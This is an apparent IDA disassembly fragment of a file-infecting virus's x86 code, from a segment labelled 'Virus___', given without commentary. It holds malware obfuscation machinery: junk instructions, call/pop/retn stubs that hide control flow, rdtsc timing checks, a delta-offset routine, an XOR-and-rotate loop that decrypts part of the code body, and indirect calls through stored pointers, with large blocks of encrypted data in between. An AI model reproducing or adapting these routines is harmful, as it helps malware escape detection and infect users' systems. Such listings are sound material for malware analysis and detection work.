; ---------------------------------------------------------------------------
		dd 7674E763h, 0A8B9F941h, 0BE9h, 53100100h, 74ACD05Ah
		dd 0CA232565h, 0D680E0FFh, 8E931h, 0DCE20000h, 2305E93Bh
		db 0EAh, 0F9h
; ---------------------------------------------------------------------------


loc_572116:				; CODE XREF: Virus___:00571DC4j
					; Virus___:0057205Ej ...
		cmp	dword ptr [ebp+95D02BDh], 0
		jnz	loc_572213
		jg	loc_57212F
		mov	edx, [ebp+95D2F19h]


loc_57212F:				; CODE XREF: Virus___:00572123j
		pusha
		mov	bh, dl
		push	ebx
		jmp	loc_57214C
; ---------------------------------------------------------------------------
		push	es
		std
		pop	edx
		pop	edx
		mov	cl, 68h
		movsd
		mov	edx, 51DB39DDh
		retn	0EAFEh
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0AD8486D6h
; ---------------------------------------------------------------------------


loc_57214C:				; CODE XREF: Virus___:00572133j
		pop	ebx
		popa
		push	eax
		mov	edx, ecx
		mov	[esp], eax
		add	edx, [ebp+95D2321h]
		mov	byte ptr [ebp+95D3335h], 45h
		mov	bx, 0FB33h
		call	near ptr loc_57216A+4


loc_57216A:				; CODE XREF: Virus___:00572165p
		imul	ebp, [ecx+72h],	50D98B8Eh
		pusha
		push	eax
		push	edx
		rdtsc
		mov	esi, eax
		pop	edx
		pop	eax
		jle	loc_572185
		mov	edx, 1BC611D3h


loc_572185:				; CODE XREF: Virus___:0057217Aj
		popa
		mov	eax, [esp+4]
		mov	ebx, 3BA7422h
		mov	eax, [eax]
		pusha
		mov	di, dx
		pusha
		push	eax
		pop	ecx
		mov	ecx, 611A97B0h
		popa
		popa
		mov	[esp+4], eax
		jle	loc_5721AD
		mov	dx, 0DFD3h


loc_5721AD:				; CODE XREF: Virus___:005721A3j
		pop	eax
		clc
		push	dword ptr [ebp+95D08F1h]
		call	near ptr loc_5721C1+3
		xor	dword ptr [edi], 889955D6h
		leave


loc_5721C1:				; CODE XREF: Virus___:005721B5p
		test	dword ptr [ebp+esi-77h], 5D2625B5h
		or	[edx-73h], ebx
		test	[ebx+39h], esi
		pop	ebp
		or	[edx+0], ebp
		push	eax
		call	sub_5721DC
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5721DC	proc near		; CODE XREF: Virus___:005721D4p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5721DC	endp

; ---------------------------------------------------------------------------
		cmp	eax, 0B058589h
		pop	ebp
		or	[esi-7Fh], esp
		rol	dword ptr [edx-7E2F0069h], cl
		retn	8603h
; ---------------------------------------------------------------------------
		dw 7EFDh
; ---------------------------------------------------------------------------
		mov	[ebp+95D02BDh],	eax
		mov	bx, 89EBh
		pop	eax
		js	loc_572213
		mov	ebx, ecx


loc_572213:				; CODE XREF: Virus___:0057211Dj
					; Virus___:0057220Bj
		cmp	dword ptr [ebp+95D4D84h], 0
		jz	loc_572239
		add	bx, 0FC0Bh
		push	dword ptr [ebp+95D1525h]
		or	edx, [ebp+95D24A5h]
		stc
		call	dword ptr [ebp+95D02BDh]
		cmc


loc_572239:				; CODE XREF: Virus___:0057221Aj
		cmp	eax, 0
		jnz	loc_572318
		mov	[ebp+95D1D51h],	eax
		cmp	dword ptr [ebp+95D0615h], 0
		jz	loc_5722D1
		push	0
		push	eax
		call	sub_572260
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572260	proc near		; CODE XREF: Virus___:00572258p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_572260	endp

; ---------------------------------------------------------------------------
		xchg	esi, [ebp+7EC0B275h]
		mov	ch, [ebx-6274AF66h]
		aad	8
		pop	ebp
		or	edi, edi
		mov	ch, 15h
		push	es
		pop	ebp
		or	[edx+0], ebp
		push	edx
		call	sub_572291
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572291	proc near		; CODE XREF: Virus___:00572289p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_572291	endp

; ---------------------------------------------------------------------------
		db 34h,	0E2h, 0B7h
		dd 0C661414Eh, 0D88B1C35h, 1B8h, 0DD9D8B00h, 0E9095D29h
		dd 282h, 10E9h,	0BD981E00h, 67DC8E93h, 0CD8A30F6h, 0DA273F43h
; ---------------------------------------------------------------------------
		stosd


loc_5722D1:				; CODE XREF: Virus___:0057224Fj
		push	dword ptr [ebp+95D1525h]
		mov	ebx, [ebp+95D31E9h]
		push	dword ptr [ebp+95D1525h]
		or	[ebp+95D1CC5h],	esi
		mov	edx, [ebp+95D1A45h]
		push	dword ptr [ebp+95D02BDh]
		pusha
		mov	dx, 1FB7h
		jnz	loc_572306
		mov	[ebp+95D2135h],	ecx


loc_572306:				; CODE XREF: Virus___:005722FAj
		popa
		jmp	loc_57253E
; ---------------------------------------------------------------------------
		jge	loc_572318
		mov	[ebp+95D143Dh],	eax


loc_572318:				; CODE XREF: Virus___:0057223Cj
					; Virus___:0057230Cj
		pop	edi
		push	0
		push	esi
		call	sub_572324
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572324	proc near		; CODE XREF: Virus___:0057231Cp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_572324	endp

; ---------------------------------------------------------------------------
		dd 12F810A0h, 0E8205A43h, 10h, 0DD71F070h, 1E3C9D7Eh, 0A63E6C0Bh
		dd 0C003E7C8h, 805BDE8Bh, 0BD8344F3h, 95D1659h,	0C4850F00h
		dd 0FC000000h, 333585C6h, 0E84D095Dh, 0Eh, 0F57A2AB8h
		dd 0E733E652h, 0AB373C84h, 5AF8EFB1h, 6860Fh, 85010000h
		dd 95D210Dh, 5D1E0668h,	66525044h, 0F8557BAh, 7E96031h
		dd 97000000h, 0C607366Ah, 840FC683h, 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		pop	eax
		add	dword ptr [esp], 5FD858A2h
		push	0
		push	ebp
		call	sub_5723C1
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5723C1	proc near		; CODE XREF: Virus___:005723B9p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5723C1	endp

; ---------------------------------------------------------------------------
		or	al, 55h
		xlat
		dec	esp
		idiv	byte ptr [edi+711B5FFh]
		pop	ebp
		or	[ecx+5D1A399Dh], ecx
		or	[ebp+5D397385h], ecx
		or	[edx+327FA022h], edi
		call	eax
		push	0
		push	ebx
		call	sub_5723FB
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5723FB	proc near		; CODE XREF: Virus___:005723F3p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5723FB	endp

; ---------------------------------------------------------------------------
		mov	ds, sp
		div	byte ptr [bx+si]
		mov	cl, ch
		inc	ebx
		aas
		daa
		and	edx, [ebp+95D2A19h]
		mov	[ebp+95D1659h],	eax
		mov	ebx, [ebp+95D24A5h]
		mov	eax, 0
		push	0
		push	edi
		call	sub_572437
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_572437	proc near		; CODE XREF: Virus___:0057242Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_572437	endp

; ---------------------------------------------------------------------------
		db 63h
		dd 0DE9E7h, 216F0000h, 919FDA03h, 31DD82E7h, 8949F038h
		dd 5D4D2DBDh, 3D858909h, 0B095D05h, 39840FC0h, 31000000h
		dd 5D264DB5h, 0E9958B09h, 0E9095D29h, 0BEh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5EC35747h, 0DB9416EAh
		dd 9D8BD562h, 95D0BD5h,	2BDB5FFh, 8166095Dh, 66CED2C2h
		dd 5544C381h, 0A432858Dh, 6A095Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 87991AC3h, 0FA52B21h
		dd 0BF0FD0BFh, 0E86090D6h, 0Ch,	2989EA13h, 0B6C4E8E1h
		dd 0B11571B8h, 0E959F78Bh, 10h,	26F16911h, 8FE2DC9Bh, 6C3446AFh
		dd 4C006AB1h, 0BB665061h, 6A90ED45h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 54FCC353h
		dd 4108FA86h, 10CD958Bh
		db 5Dh,	9
; ---------------------------------------------------------------------------


loc_57253E:				; CODE XREF: Virus___:00572307j
		push	eax
		push	esi
		lea	edi, [ebp+95D555Bh]
		lea	ecx, [ebp+95D7A23h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_572553:				; CODE XREF: Virus___:00572559j
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_572553
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+95D0615h], 0
		jz	short loc_57256C
		mov	ecx, [ebp+95D24D1h]


loc_57256C:				; CODE XREF: Virus___:00572564j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_572623
		cmp	dword ptr [ebp+95D0851h], 0
		jz	short loc_57258A
		call	dword ptr [ebp+95D1411h]


loc_57258A:				; CODE XREF: Virus___:00572582j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_57259C
		cmp	dword ptr [ebp+95D4D35h], 1
		jz	short loc_5725A5


loc_57259C:				; CODE XREF: Virus___:00572591j
		cmp	dword ptr [ebp+95D4D35h], 2
		jnz	short loc_5725B3


loc_5725A5:				; CODE XREF: Virus___:0057259Aj
		mov	esi, [ebp+95D4D2Dh]
		lea	eax, [ebp+95FA432h]
		call	eax


loc_5725B3:				; CODE XREF: Virus___:005725A3j
		cmp	dword ptr [ebp+95D04B5h], 0
		jz	short loc_5725C2
		call	dword ptr [ebp+95D273Dh]


loc_5725C2:				; CODE XREF: Virus___:005725BAj
		lea	eax, [ebp+95D4193h]
		call	eax
		cmp	dword ptr [ebp+95D0865h], 2
		jnz	short loc_572602
		mov	esp, [ebp+95D27A9h]
		mov	eax, [ebp+95D0615h]
		mov	[esp], eax
		mov	dword ptr [ebp+95D2A2Dh], 1
		mov	esi, [ebp+95D4D31h]
		mov	ebp, [ebp+95D2B39h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_572602:				; CODE XREF: Virus___:005725D1j
		mov	dword ptr [ebp+95D2A2Dh], 1
		mov	esp, [ebp+95D27A9h]
		mov	esi, [ebp+95D07E5h]
		mov	ebp, [ebp+95D2B39h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_572623:				; CODE XREF: Virus___:00572575j
		cmp	dword ptr [ebp+95D04B5h], 0
		jz	short loc_57263B
		cmp	dword ptr [ebp+95D273Dh], 0
		jz	short loc_57263B
		call	dword ptr [ebp+95D273Dh]


loc_57263B:				; CODE XREF: Virus___:0057262Aj
					; Virus___:00572633j
		mov	esi, [ebp+95D4D2Dh]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, edi
		mov	[ebp+95D123Dh],	esi
		mov	ebx, 0D68A937h
		mov	edx, 0
		xor	bh, 2Dh
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_572667
; ---------------------------------------------------------------------------


loc_572665:				; CODE XREF: Virus___:0057266Aj
		inc	eax
		inc	edi


loc_572667:				; CODE XREF: Virus___:00572663j
		cmp	byte ptr [edi],	0
		jnz	short loc_572665
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_572696
; ---------------------------------------------------------------------------


loc_572673:				; CODE XREF: Virus___:00572698j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_57268B
; ---------------------------------------------------------------------------


loc_572688:				; CODE XREF: Virus___:0057268Ej
		mul	ebx
		dec	esi


loc_57268B:				; CODE XREF: Virus___:00572686j
		cmp	esi, 0
		ja	short loc_572688
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_572696:				; CODE XREF: Virus___:00572671j
		or	eax, eax
		jnz	short loc_572673
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		mov	ebx, 7C110149h
		push	0
		push	ebx
		call	sub_5726B4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5726B4	proc near		; CODE XREF: Virus___:005726ACp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_5726B4	endp

; ---------------------------------------------------------------------------
		dd 0D3B6E1EFh
; ---------------------------------------------------------------------------


loc_5726C8:				; CODE XREF: Virus___:0056F8B8j
		mov	eax, ecx
		jmp	loc_594581
; ---------------------------------------------------------------------------
		dd offset loc_5B5985+1
		db 13h
		dd 307CEC44h, 94F6F9ABh, 0A27C90EBh, 3047F110h,	11F6F9ABh
		dd 3300840h, 2000002h, 2 dup(1000000h),	30000000h, 0F6F9ABh
		dd 4 dup(0)
		dd 2F000000h, 0FE005795h, 300579Bh, 0CE005758h,	1C005739h
		dd 71005751h, 9C0057CFh, 9C0057DBh, 39005744h, 0C9005743h
		dd 70057C5h, 140057ADh,	1A00572Ch, 8400575Dh, 84005769h
		dd 440057ADh, 8300573Dh, 120057B3h, 0CB005786h,	7C0057A0h
		dd 23005735h, 23005799h, 4400573Dh, 6F005770h, 380057E4h
		dd 0C50057DEh, 0F10057E5h, 0B600579Dh, 5C0057BDh, 7200575Dh
		dd 0A40057D7h, 580057E0h, 42005792h, 48005745h,	0B200578Ah
		dd 0BF005773h, 74005782h, 3B0057BBh, 0A000579Ch, 80005778h
		dd 80005759h, 0AD00574Dh, 0D300577Fh, 2E0057B7h, 1A0057D4h
		dd 7D0057AAh, 5D00579Bh, 1F0057E5h, 4B005746h, 0EE00574Bh
		dd 0A6005733h, 62005777h, 37005762h, 8D005733h,	0C10057B9h
		dd 6B005739h, 79005753h, 3B00572Ch, 5F00573Dh, 51005742h
		dd 9C005769h, 0A4005799h, 0FE0057C4h, 1B005734h, 0C3005754h
		dd 26005758h, 0E40057EFh, 3600574Ch, 1C005748h,	0F10057E8h
		dd 0A5005741h, 0EE00578Bh, 0F9005795h, 2A0057E6h, 0D20057E5h
		dd 8800573Ah, 0C90057EFh, 770057C9h, 440057B6h,	56005786h
		dd 0C70057A0h, 0BF0057D9h, 0E40057BBh, 7A0057BBh, 830057E3h
		dd 2700579Ch, 0E1005750h, 0A200577Fh, 130057E7h, 5900579Fh
		dd 3A00576Fh, 5E0057E0h, 6200575Ah, 0D6005776h,	940057BDh
		dd 2400578Fh, 0D1005786h, 3E0057D7h, 730057DDh,	0AC0057C3h
		dd 9005749h, 0BA00579Bh, 0D60057CBh, 6800579Eh,	53005790h
		dd 5737h, 0DC0057DDh, 4400573Ch, 500057EBh, 0F500579Bh
		dd 410057C1h, 0F90057ABh, 900057BAh, 120057CBh,	0DE0057BEh
		dd 1100572Dh, 3C005742h, 4005756h, 0AA005750h, 320057ADh
		dd 0C700576Fh, 150057B6h, 0C60057ACh, 41005797h, 0B6005768h
		dd 390057AFh, 10005772h, 0E6005794h, 50057DDh, 0D200574Bh
		dd 6E0057ADh, 7200579Ah, 8F00579Ch, 0CB00574Eh,	0C00574Dh
		dd 0EE00579Dh, 0D8005737h, 0FD005753h, 7C00573Fh, 62005764h
		dd 2D00573Eh, 74005783h, 9B0057B1h, 390057A9h, 7A005796h
		dd 27005783h, 99005746h, 0EF0057E3h, 790057B3h,	0F300579Ch
		dd 1005767h, 0A6005785h, 40057A2h, 5A005739h, 0AB0057DEh
		dd 93005730h, 58005796h, 8B005757h, 610057BBh, 3700573Dh
		dd 0DA0057E4h, 8E00579Bh, 7D005787h, 0B300576Ch, 0F6005768h
		dd 0BE005755h, 610057DAh
; ---------------------------------------------------------------------------
		xchg	dl, [edi+0]


loc_5729AF:				; CODE XREF: Virus___:005945F1j
					; Virus___:005945FBj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 95D7E87h
		mov	eax, edi
		add	edi, 95D7B9Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5729CD
		jmp	short loc_5729E0
; ---------------------------------------------------------------------------


loc_5729CD:				; CODE XREF: Virus___:005729C9j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_5729DC
; ---------------------------------------------------------------------------


loc_5729D7:				; CODE XREF: Virus___:005729DEj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_5729DC:				; CODE XREF: Virus___:005729D5j
		or	ecx, ecx
		jnz	short loc_5729D7


loc_5729E0:				; CODE XREF: Virus___:005729CBj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_5729ED:				; CODE XREF: Virus___:005729F4j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_5729ED


loc_5729F6:				; CODE XREF: Virus___:00572A81j
					; Virus___:00572B3Fj ...
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	[esp], bx
		push	edx
		jmp	loc_57E007
; ---------------------------------------------------------------------------


loc_572A09:				; CODE XREF: Virus___:005797E6j
		not	esi
		dec	esi
		sub	esi, 8038E85Ch
		sub	edi, esi
		pop	esi
		jmp	loc_573A71
; ---------------------------------------------------------------------------


loc_572A1A:				; CODE XREF: Virus___:00579984j
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_576555
; ---------------------------------------------------------------------------


loc_572A39:				; CODE XREF: Virus___:0057D023j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 16B201DCh
		add	ebx, 86553CEh
		xor	ebx, 0B0E0675h
		shl	ebx, 8
		sub	ebx, 60FE0C07h
		add	ebx, 47AA2D0Bh
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_573EBE
; ---------------------------------------------------------------------------


loc_572A7D:				; CODE XREF: Virus___:00573811j
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572A86:				; CODE XREF: Virus___:00573CC0j
		push	edx
		jmp	loc_57A8F9
; ---------------------------------------------------------------------------


loc_572A8C:				; CODE XREF: Virus___:00572E3Aj
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	3CC3h
		mov	[esp], ebx
		jmp	loc_576D34
; ---------------------------------------------------------------------------


loc_572AA1:				; CODE XREF: Virus___:0057CC7Bj
		push	dx
		sub	esp, 4
		mov	[esp], ebx
		mov	bx, 789Bh
		dec	bx
		xor	bx, 635Ch
		neg	bx
		push	cx
		mov	cx, 0E438h
		xor	bx, cx
		mov	cx, [esp]
		add	esp, 2
		mov	dx, bx
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+2], dx
		mov	dx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		pop	esp
		jmp	loc_573292
; ---------------------------------------------------------------------------


loc_572AF1:				; CODE XREF: Virus___:0057568Cj
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		jmp	loc_57C789
; ---------------------------------------------------------------------------


loc_572B07:				; CODE XREF: Virus___:0057B73Ej
		sub	edx, 5C83758Ah
		pop	edi
		push	ebx
		jmp	loc_574D5D
; ---------------------------------------------------------------------------


loc_572B14:				; CODE XREF: Virus___:00573B6Ej
		add	eax, 56390C2Ch
		sub	eax, 495D6EC7h
		add	eax, edx
		push	edi
		mov	edi, 15DE41A6h
		xor	edi, 5C832F61h
		add	eax, edi
		pop	edi
		sub	eax, 56390C2Ch
		jmp	loc_578EA8
; ---------------------------------------------------------------------------


loc_572B39:				; CODE XREF: Virus___:005745A0j
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572B44:				; CODE XREF: Virus___:00576E81j
		pop	ecx
		jmp	loc_57AE6A
; ---------------------------------------------------------------------------


loc_572B4A:				; CODE XREF: Virus___:0057864Dj
		xor	ecx, 29341D6h
		push	ecx
		jmp	loc_578FCC
; ---------------------------------------------------------------------------


loc_572B56:				; CODE XREF: Virus___:0057AB22j
		sub	[esp], ebp
		pop	ebp
		add	ebp, 77B75E37h
		mov	ecx, ebp
		pop	ebp
		jmp	loc_573DF1
; ---------------------------------------------------------------------------


loc_572B68:				; CODE XREF: Virus___:005755D7j
		pop	esp
		add	esi, 2
		jmp	loc_57B57D
; ---------------------------------------------------------------------------


loc_572B74:				; CODE XREF: Virus___:00579EF2j
		inc	eax
		sub	eax, 5593D61h
		sub	eax, 15F0017Bh
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		jmp	loc_5774A5
; ---------------------------------------------------------------------------


loc_572BA9:				; CODE XREF: Virus___:0057CD42j
		inc	esi
		sub	esi, 0CA3D61BCh
		xor	ecx, esi
		pop	esi
		sub	edx, ecx
		pop	ecx
		pop	eax
		push	eax
		push	ebx
		mov	ebx, 75DF3712h
		mov	eax, 77114980h
		xor	eax, ebx
		pop	ebx
		push	ebp
		mov	ebp, 5E12370Eh
		neg	ebp
		dec	ebp
		inc	ebp
		xor	ebp, 5CDC4982h
		add	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_57EDD4
; ---------------------------------------------------------------------------


loc_572BEF:				; CODE XREF: Virus___:0057CFAAj
		movzx	eax, al
		jmp	loc_57952A
; ---------------------------------------------------------------------------


loc_572BF7:				; CODE XREF: Virus___:0057C139j
		push	7EA0h
		jmp	loc_574973
; ---------------------------------------------------------------------------


loc_572C01:				; CODE XREF: Virus___:0057856Cj
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_576133
; ---------------------------------------------------------------------------


loc_572C0C:				; CODE XREF: Virus___:0057B448j
		xor	edi, ecx
		pop	ecx
		jmp	loc_57E3BE
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_57732A
; ---------------------------------------------------------------------------


loc_572C1D:				; CODE XREF: Virus___:0057D892j
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_57E6AC
; ---------------------------------------------------------------------------


loc_572C27:				; CODE XREF: Virus___:00574CE9j
		mov	[esp], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	4817h
		mov	[esp], eax
		mov	eax, 4
		push	ecx
		mov	ecx, 1A111643h
		add	ebp, ecx
		pop	ecx
		sub	ebp, 7E422F0Ah
		jmp	loc_5761FD
; ---------------------------------------------------------------------------


loc_572C59:				; CODE XREF: Virus___:00572E69j
		sub	eax, esi
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		pop	ebx
		push	ebx
		jmp	loc_57A5EB
; ---------------------------------------------------------------------------
		push	edi
		push	esp
		jmp	loc_5790BE
; ---------------------------------------------------------------------------


loc_572C80:				; CODE XREF: Virus___:00577878j
		pop	edx
		push	eax
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	655Fh
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_5783EB
; ---------------------------------------------------------------------------


loc_572CA9:				; CODE XREF: Virus___:005780F1j
		push	esp
		pop	ebp
		sub	esp, 4
		jmp	loc_5769FC
; ---------------------------------------------------------------------------


loc_572CB3:				; CODE XREF: Virus___:00575715j
		xor	esi, 322008D6h
		push	edi
		mov	edi, 0E80AFEB2h
		jmp	loc_5793CC
; ---------------------------------------------------------------------------


loc_572CC4:				; CODE XREF: Virus___:0057C966j
		sub	ebx, 413B6D43h
		add	ebx, 50E90A3Bh
		jmp	loc_574EA8
; ---------------------------------------------------------------------------


loc_572CD5:				; CODE XREF: Virus___:0057765Dj
		sub	[esp], eax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572CDE:				; CODE XREF: Virus___:005792E2j
		pop	edx
		or	bh, 81h
		add	bh, 0D2h
		jmp	loc_57EE6F
; ---------------------------------------------------------------------------


loc_572CEA:				; CODE XREF: Virus___:0057E987j
		add	edi, 4
		jmp	loc_57B352
; ---------------------------------------------------------------------------


loc_572CF2:				; CODE XREF: Virus___:0057725Bj
		add	ax, dx
		pop	edx
		push	di
		mov	di, 2671h
		add	ax, 251Bh
		add	ax, di
		sub	ax, 251Bh
		mov	di, [esp]
		add	esp, 2
		sub	ax, 3BE8h
		add	ax, bx
		push	dx
		jmp	loc_5730F2
; ---------------------------------------------------------------------------


loc_572D1C:				; CODE XREF: Virus___:005751DBj
		push	esi
		pop	edx
		pop	esi
		sub	edx, edi
		pop	edi
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_579511
; ---------------------------------------------------------------------------


loc_572D2C:				; CODE XREF: Virus___:005776E0j
		push	ebx
		mov	ebx, 4
		sub	eax, 4B6F29AEh
		sub	eax, ebx
		push	ebp
		mov	ebp, 4B6F29AEh
		jmp	loc_5741C3
; ---------------------------------------------------------------------------


loc_572D44:				; CODE XREF: Virus___:0057851Aj
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_57C64F
; ---------------------------------------------------------------------------


loc_572D58:				; CODE XREF: Virus___:0057E560j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572D5D:				; CODE XREF: Virus___:00577DDEj
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	edi
		mov	edi, 12554DADh
		or	edi, 7A4F44C4h
		jmp	loc_57D191
; ---------------------------------------------------------------------------


loc_572D77:				; CODE XREF: Virus___:00579F93j
		mov	[esp], ecx
		pop	ebp
		pop	ecx
		push	1EC5h
		jmp	loc_574482
; ---------------------------------------------------------------------------


loc_572D86:				; CODE XREF: Virus___:005752ECj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ecx
		jmp	loc_57CAAC
; ---------------------------------------------------------------------------


loc_572DA5:				; CODE XREF: Virus___:0057D9A0j
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_57B02B
; ---------------------------------------------------------------------------


loc_572DB6:				; CODE XREF: Virus___:00575E31j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_578701
; ---------------------------------------------------------------------------


loc_572DC3:				; CODE XREF: Virus___:0057C9A1j
		mov	eax, [esp]
		add	esp, 4
		not	edi
		not	edi
		push	edx
		mov	edx, 1EF454E0h
		or	edi, edx
		pop	edx
		jmp	loc_5756F7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_57C43F
; ---------------------------------------------------------------------------


loc_572DF9:				; CODE XREF: Virus___:0057A6EDj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572E02:				; CODE XREF: Virus___:005783B2j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_578B42
; ---------------------------------------------------------------------------


loc_572E0D:				; CODE XREF: Virus___:0057CC44j
		push	edx
		push	165156FFh
		pop	edx
		jmp	loc_574726
; ---------------------------------------------------------------------------


loc_572E19:				; CODE XREF: Virus___:0057B62Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_57E0C5
; ---------------------------------------------------------------------------


loc_572E27:				; CODE XREF: Virus___:0057C8B4j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_572E2C:				; CODE XREF: Virus___:005743FBj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_572A8C
; ---------------------------------------------------------------------------


loc_572E3F:				; CODE XREF: Virus___:00575821j
		push	ebp
		push	ebx
		mov	ebx, 30B038C9h
		mov	ebp, 7A0B54C5h
		jmp	loc_5751E0
; ---------------------------------------------------------------------------


loc_572E50:				; CODE XREF: Virus___:00579763j
		mov	[esp], eax
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_572C59
; ---------------------------------------------------------------------------


